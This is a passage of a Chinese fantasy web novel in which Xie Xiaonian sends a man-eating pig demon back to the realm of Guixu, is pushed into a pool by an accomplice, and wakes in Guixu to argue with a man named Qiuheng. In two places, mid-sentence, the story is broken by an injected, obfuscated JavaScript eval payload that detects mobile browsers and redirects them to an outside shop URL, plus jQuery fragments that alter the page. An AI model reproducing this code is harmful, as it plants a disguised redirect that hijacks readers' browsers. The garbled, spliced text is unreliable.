“不要那个女的过来了,让地上坐着的那个女的过来,老王,你听见了吗?” 王婆婆看了看坐在地上的谢小年,嘴巴诺诺说出声来。 那头猪也等得不耐烦了,直接换了个方向,对着谢小年说,“你过来。” 谢小年沉默片刻,从地上跪着站起来,拍了拍同事的手臂,“你力气小,还是我过去拉它一把吧,不然一会儿你也滚下水了怎么办?” 说完话,谢小年的视线从同事身上挪到那头猪身上。 平心而论,这确实是一只健硕脱俗的猪。 是的,谢小年甚至用上了这样的形容词,不只是那一张似乎能够做出人类表情的猪脸,还有一身粉得发红的皮毛。 谢小年一步一步朝它走过去。 她走得稳当,躲在泉眼下面听墙角的人却有些着急,“这我们到底是救还是不救啊?她就是那个谢小年诶。” “你问我,我去问谁?” “可是她只是一个人类,要是真被合寙吃了,人就没了,我们真见死不救?” 领头的咬咬牙,“……一会儿合寙要是动手,我们就上去。” 冒着被发现的风险,还是先把人救下来吧。 “猪猪,上来哦,你叫什么名字?”谢小年走得缓,脸上表情轻松,还有心情问些有的没的。 像是在问小猫小狗叫什么名字一样。 “为了让你死的痛快,告诉你也行,我就是合寙,大名鼎鼎的合寙!”合寙对自己的名号非常自信。 合寙,其状如彘而人面,黄身而赤尾,食人,亦食虫蛇,见则天下大水。 可是现在,却完全看不出来妖怪的影子,完全就是一只健硕些,好看些的猪而已,为什么呢,莫非是,退化了吗? 为什么会退化呢,难道是,离开了某个地方吗? “小年!你回来吧,我总觉得这头猪的表情有些不对劲,我们还是等警察来吧。”同事在谢小年身后喊。 谢小年回头,看见同事担忧的神色,又看见王婆婆心虚躲闪的目光,顿时了然。 如果今天她不来,恐怕真的要出人命了。 “没事,我以前在老家,最会抓猪了,我们家杀猪的时候,我就是递刀的。”谢小年安慰她。 再回头时,她的神色已经完全冷下去,眼睛里带上些戾气。 这一次,她还真遇上了个吃人的妖怪。 “你很识趣。”合寙的表情有些满意,谢小年弯下腰,低声细语,“你给了婆婆什么,居然能让人帮你谋财害命。” “当然是好东西。” “那我就更加好奇了,到底是什么好东西呢。” 合寙的视线从她的脸上打量到手臂,很是得意,“你想要知道,总要付出些代价的,不然这样,你让我咬一口怎么样?他们都说你吃了世界上最后一颗珠玕果,吃你就能长生不老,我呢,也不为难你,我只要一条手臂。” 谢小年笑笑,说,“好啊。” 她二话不说伸出来自己的手臂,甚至贴心的挽起袖子。 “你果然很识趣,看起来和其他人也没什么区别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933686|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,居然吃了能长生,真是意想不到。” 一口咬上去,猪脸上的笑容依旧满足,甚至谢小年还能听见它含糊不清的话,“我就吃一条手臂,剩下的,就留下来好了。” 合寙并不是一个竭泽而渔的妖怪,它只吃一条手臂,所以,它也只有一张嘴像水一样化开。 谢小年看着自己手腕上那半颗珠子亮起来微弱的光芒,而后合寙的嘴,连带着它顶人的嘴筒子,化成深色的水,一滴一滴掉下来,掉到她手上,掉进水池里。 “怎么回事,合寙怎么……”他们躲在泉眼下面,更加清楚能够看到从合寙身上滴下来的水。 “嘘。”领头的做了一个噤声的手势,看着一滴又一滴滴落下来的水,神情复杂。 在整个归墟里,能够做到这种事情的,只有一个。 合寙嘴角的弧度在扩大,好像下一刻就能触及到长生,它动了动嘴,想要彻底咬断这一条纤细的手臂,然后,眼珠子拼命吐出来,视线下移,它终于看清楚了自己半张脸上是什么变化。 水,全是水,它的身体,化成水不见了,熟悉的味道,熟悉的颜色,是归墟水。 为什么,归墟水从不倒流,为什么会出现在这里,归墟水,要带着它的身体回去? “好好回去反省吧。” 这是谢小年对它说的最后一句话。 下一瞬间,谢小年的手按在它的头顶上,把整只猪按进了水池里。猪的身体在水池里挣扎,可是无论如何挣扎,它无法离开头顶上那只手半寸。 它们从归墟逃出来的妖怪,怎么可能挣脱得开归墟水的束缚呢。 水淌得更欢了,它的身体就这样一点一点全部消失,彻底变成一滩深色的水,流向不知名的方向。 “这……”泉眼底下的人搓了搓手臂,才发现手上一片冰凉。 “走吧,合寙被绑回归墟了。” 原来,这就是传闻里那个,把白化国搅得一团糟的谢小年。真是,可怕。 谢小年的手从水池里伸出来,手上的水痕清亮透明,她随手往衣服上一擦,擦干净。 转头,视线落在王婆婆身上,笑眯眯的,“婆婆,不好意思啊,刚刚那头猪想要咬我,我没办法,一不小心又把它按到水池里去了,现在估计跟着泉眼掉到哪个地下暗河里去了吧。实在是对不住,这样,我折成现金算给你,怎么样?” “不……不用了,不用了。”王婆婆声音发抖,身体也有些颤抖,她看见了,谢小年的身体靠一边偏着,她全部都看见了。 “小年,你还好吗?” 这样的氛围实在奇怪,同事出声打破。 她什么都看不见,唯一知道的,也就是谢小年背对着她,把那只猪按进了水里,她全程没看见有什么挣扎的痕迹,还以为这是什么特殊安抚动物的技巧…… “没事,胳膊腿齐全的,倒是王婆婆,年纪大了,就不要再养猪了吧,一会儿警察来了,我们一起帮您把家里收拾好,申请给您申请安全一点的迁居地。” “不,”一听到警察,王婆婆就开始应激,可对上谢小年直勾勾的眼睛,她只敢改口,“好,好。” 12.第 12 章 “这下总算是好了。”事情看起来圆满解决了,同事松了一口气。 “我去把车开过来,小年你和王婆婆在这里等我一下,我很快就过来。” 谢小年点点头,她还在想用什么办法支开她,这下是不用费脑筋了。 王婆婆低着头,不知道在想什么,整个人还有些颤抖。 谢小年问她,“它给了你什么东西,让你帮它干活的?” “我不知道你在说什么,你别仗着年纪小,就欺负我这个老人家,要遭报应的。” 谢小年笑一声,并不与她回旋,“你也可以选择跟它一起走,我能把它按进水里,婆婆,你觉得我难道就不能把你按进水里吗?” 两个人都清楚,这个按进水里,可不是简单的进水。 王婆婆不回答,开始哭叫。 谢小年往前一步,做了一个停止的手势,“坦白从宽,如果你照实说,还有回旋的余地。它到底给了你什么?” 她的语气里带着威严,王婆婆大概是知道,她真的会把自己丢进水里。 王婆婆声音诺诺,“水,大仙给我提供了水。” 水?什么水的诱惑这么大?值得人违背道德干坏事。 “什么水?” “就普通的水。” 就普通的水?“几个安居地的自来水系统都是完善的,如果只是普通的水,为什么不用自来水?” “自来水……要花钱。” 自来水要花钱,但是大仙提供的水却不需要钱。而且,那可是大仙,现在只是普通的水,说不定未来哪一天,就变成了圣水,仙水。 “我知道错了,我会好好改正的,我只是年纪大了,一时间犯了糊涂。” 谢小年嘴巴张开,想要说什么,最后却一个字都无法吐出来,无奈,最后只有一句,“一切等警察来吧。” 又是警察?王婆婆的双手抖得更加明显。 不,不行,警察不能来。 这件事情真的太复杂了,谢小年头痛得按了按眉心,应该怎么跟警察讲? 建国后,妖怪和人类联手干坏事?这太荒谬了。她需要和王婆婆再沟通一下。 “你——”谢小年抬眼。 “对不起。” 她的脑袋砸出血,身体被人狠狠一推,推进了水池里,耳边最后只听见了这三个字。 谢小年的身体被泉眼里涌动的水晃来晃去。真是没想到,她这辈子居然不是被被疾病害死的,而是被人害死的。 “不好了,不好了,真的大事不好了!老大,老大?” 手里正在计算的数据被人这么一打断,顿时思绪全无,坐在办公室的男人抬头的表情像是要吃人。 “如果不是天塌了,就赶紧滚出去!” “可是,可能天真的要塌了。” “?” “老大,谢小年不知道从哪条河里,流进归墟里来了。” “她现在,隔着牢门在和妖怪聊天。我们不敢抓。” “不是让你们送她去白化国吗?为什么人会到归墟里来?”男人真是要被逼疯了。 他倒是想抓人,可抓了这个,另一个就要寻死觅活。 第二次了,第一次她到归墟,差点给他把地板都掀开,这一次,她又要做什么?难道她已经恢复了记忆? 不,不对,另外半颗玉珠还不知道做什么地方,她现在的记忆不可能恢复,哪怕恢复,也只会是一些模糊不清的片段。 谢小年盘腿坐在老熟人的牢房前面,也觉得有些烦。 “蛇蛇,你跟我说实话,你当初是怎么从这个地方逃出去的?有没有途径,也给我一个呗。” 谢小年语气和蔼,盯着蹲在角落里头发依旧乱糟糟的化蛇。 事情还要从她掉下水池里说起。 她以为她会死的,谁知道一醒过来,就到了这么个地方。 一个完全没有印象的地方。四周的建筑很现代化,她觉得这就已经基本可以排除什么地府的可能性了。 没办法,人生地不熟,只能先找有人的地方问路。她走进高楼里,面带微笑,声音和蔼,“请问……” 被她拦住的人一回头,吓得立刻跳开,“谢……谢小年?” “你认识我?那这就太好了。我是想问问,这是什么地方,哪里能买到去空空城的车票?”想了想,担心对方不知道空空城,又补充道,“到锦城的车票也可以。” 对方的手颤颤巍巍给她指了路,谢小年按耐下心里的疑惑,对着对方道了谢,就按着得到的路线走,最后,就到了这个地方。 一层楼全是被隔起来的小单间,单间是玻璃门,能够清楚地看见里面各种各样奇形怪状的生物,明亮的白炽光照得人有些恍惚,好像到了什么不真实的地方。 谢小年知道,自己恐怕是被人骗了。 走了好久,终于在角落的隔间里看见了自己的老熟人,头发被炸得乱糟糟的小矮子,化蛇。 化蛇看见谢小年更是震惊,想起来最近一段时间被人科普的信息,他默默挪到了角落里。 谢小年没有办法了,这样奇怪的隔间,甚至连个巡逻的人都没有,里面认识的人呢,也完全不理会她,还能怎么办呢,只好硬窍门了。 男人到的时候看到的就是这幅情景,谢小年拿着她的钥匙,一点一点试图撬开他花了大价钱重新修建的玻璃门。 当然是不可能撬得开的,真撬开了,他花出去的钱算什么。可是,光看着也足够憋屈了。 “停手!你在干什么!” 谢小年转头,发现又是个熟人。 “诶?”谢小年从容地把钥匙收回了口袋里,面带微笑对着愤怒的男人打招呼,“你好,真巧,又见面了?” “难道这里就是白化国吗?跟我想的一点都不一样,我还以为会是书里记载的那样,观台皆金玉,禽兽皆纯缟。”原来也是这样现代化的建筑,而非想象里的神话世界。 谢小年的语气里透露出来些失望。说不清楚为什么会有点失望,也说不清楚在这个陌生的地方为什么没有一点害怕,反倒是透着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938786|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些熟悉。 听到这话,男人莫名其妙又变得非常生气,“谢小年你到底在装什么?我不相信你一点印象也没有!我都跟你说了多少次了,清封已经死了,已经死了!你别来折磨我了行不行?” 谢小年的笑容逐渐变淡,神情变得疑惑,“清封是谁?” 看看,看看,哪怕是什么都不记得了,也很会抓主要矛盾嘛。 对方并不回应,对这个问题保持着极端的沉默。 谢小年叹气,“我很抱歉,不知道为什么我们第一次见面,您就对我抱着一种极端的敌意,事实上,我并不认识什么清封,也不知道什么折磨。” “对于您的建议,我也认真采纳,真的去二桥的废弃水池看了。最后的结果显然不是很好,我被人敲晕丢进水池里,然后就到了这里。”至于为什么去二桥,那他就别管了。 “如果之前有什么人对您造成过严重困扰,且对方与我长得很像,我只能为您感到同情,但我真的百分百是一个遵纪守法的良好公民,绝对没有做出过什么违反法律和道德的事情。” 男人脸色憋得发黑,张开嘴想要说什么,突然想到某些因素,硬生生憋回去,脸色看起来更不好了,最终冷冷“哼”一声。 谢小年的态度依旧友善,并没有因为对方的状态而发生改变。 “我能礼貌问一下您的名字吗?第二次见面,我想我们应该算得上朋友了。” “秋衡。” 她的声线依旧和蔼友善,“哦哦好的,我叫谢小年,很高兴成为朋友。所以,我能问一下,清封到底是谁吗?看起来这个人应该和你对我的偏见有很大的关系。” 秋衡依旧拒绝回答这个问题,僵硬地转开话题,“你想去白化国吗?” “哈哈,谢谢,不想。” “其实白化国和你想的一样,遍地金玉珠宝,如果你带出来一点,就足够有钱去治你的病了。即使是这样,你也不愿意?” “那可真是谢谢你了,我会仔细考虑的,但我接下来最重要的还得是先回空空城呢,如果长久找不到我的尸体,我恐怕要在那边销户了。” 开什么玩笑,天底下哪有那么还的事情,她信了就有鬼,这个什么秋衡冬衡的,一看就不是什么好东西,丝毫不值得信赖。 男人对于让她去白化国这件事情依旧非常执着,“如果你去白化国,我可以保证你回空空城的时间就是你刚刚落水的时间。” 谢小年沉默。 事实上,她只觉得背后发凉。这已经太超越一个正常人能够理解的世界。 时间倒流,是三维对于四维的想象,可是现在却让她真实地见到了。 这恐怕已经是两个完全不同的世界了。 “如果,我去了白化国,能得到什么?” 看见谢小年的态度有松动,秋衡连忙加压,“你想要什么?”除了帮他干活的继承人选外,他秋衡要什么没有? 好大的底气! “这样啊,”谢小年点头,想了一下,“那我能问你几个问题吗?”